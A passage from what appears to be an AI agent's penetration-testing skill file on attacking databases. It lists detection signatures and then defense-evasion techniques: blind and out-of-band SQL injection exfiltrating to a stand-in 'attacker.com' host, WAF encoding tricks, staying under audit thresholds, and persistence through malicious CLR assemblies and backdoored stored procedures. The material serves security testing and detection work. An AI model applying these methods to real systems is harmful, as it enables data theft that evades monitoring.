escalation: traverse DB links to reach higher-privilege instances299300## Detection Methods301302### Database Audit Logs303- **Failed auth burst**: >10 failed logins per minute from same IP (brute force signature).304- **Anomalous SELECT**: `SELECT * FROM users` from application service account (normally only specific columns).305- **Schema enumeration**: Queries against `information_schema.tables`, `sys.tables`, `ALL_TABLES`.306- **Bulk export**: `pg_dump`, `mysqldump`, `bcp` from non-admin source.307308### SIEM Detection Rules309- **Splunk SPL**: `index=db sourcetype=postgresql:query | where query matches "pg_read_file|COPY TO"`310- **Native audit**: PostgreSQL `pg_audit`, MySQL Enterprise Audit, Oracle Audit Vault.311- **Imperva Data Security**: Database activity monitoring (DAM) platform.312- **Microsoft Defender for SQL**: Native SQL Server threat detection.313314## Defense Evasion Techniques315316### SQL Injection Stealth317- **Time-based blind**: `IF(condition, SLEEP(5), 0)` — extract via timing without output.318- **Out-of-band exfil**: `LOAD_FILE('\\\\ attacker.com\\x')` (MySQL); `xp_dirtree` (MSSQL) for DNS exfil.319- **Distributed queries**: Spread SQLi attempts across many sessions; below rate threshold.320- **Encoding tricks**: Hex (`0x`), char(), URL encoding to evade WAF.321322### Query Stealth323- **Use indexed columns**: Avoid full table scans that trigger audit alerts.324- **Limit results**: `LIMIT 100` per query; below bulk export threshold.325- **Off-hours queries**: Run during low-activity windows.326- **Reuse legitimate connections**: Don't create new DB connections; use connection pool.327328### Lateral Movement Stealth329- **Linked servers** (SQL Server): Use `sp_addlinkedserver` for cross-DB access; appears as legitimate config.330- **PL/SQL packages** (Oracle): Use legitimate packages (UTL_HTTP, DBMS_LDAP) for outbound.331- **CLR assembly** (SQL Server): Load malicious .NET assembly; persists across reboots.332- **Stored procedure persistence**: Backdoor stored procedure; activates on specific trigger.333334## Learning Resources335336- **This skill's supplementary files**: `payloads.md`, `test-cases.md`337- **Guides**: `guides/oracle-database-attack.md`, `guides/redis-mongodb-unauth.md`, `guides/database-bruteforce.md`, `guides/nosql-attack-guide.md`, `guides/database-lateral-movement-guide.md`338- **Related skills**: `skills/web-sqli/SKILL.md`, `skills/password-attack/SKILL.md`339- **odat GitHub**: [github.com/quentinhardy/odat](https://github.com/quentinhardy/odat)340- **HackTricks - Databases**: [book.hacktricks.xyz/network-services-pentesting](https://book.hacktricks.xyz/network-services-pentesting)341- **Redis Security**: [redis.io/topics/security](https://redis.io/topics/security)342- **MongoDB Security Checklist**: [mongodb.com/docs/manual/administration/security-checklist](https://www.mongodb.com/docs/manual/administration/security-checklist/)